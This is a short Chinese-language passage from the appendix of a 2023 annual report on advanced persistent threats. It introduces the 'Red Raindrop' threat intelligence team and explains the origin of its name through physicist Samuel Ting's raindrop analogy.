APT 事件揭露报告，开创了国内 APT 攻击类高级威胁体系化揭露的先河，已经成为国家级网络攻防的焦点。

“红雨滴”背后的故事 —“从 100 亿个雨滴中找一个红雨滴”

2006 年 11 月 20 日，因发现 J 粒子而获得诺贝尔奖的著名华裔物理学家丁肇中教授来到中国驻瑞士大使馆，
做了一场精彩的讲座。丁肇中教授形容自己发现构成物质的第四种基本粒子——J 粒子的高精度实验时说
到：“相当于在北京下雨时，每秒钟有 100 亿个雨滴，如果有一个雨滴是红色的，我们就要从这 100 亿个
里找出它来。”

而奇安信威胁情报中心高级威胁分析团队同样需要在海量数据中精准找寻那些红色威胁。最终，我们选择
了“红雨滴”作为团队的名称。

附录 /全球高级持续性威胁（APT）2023 年度报告
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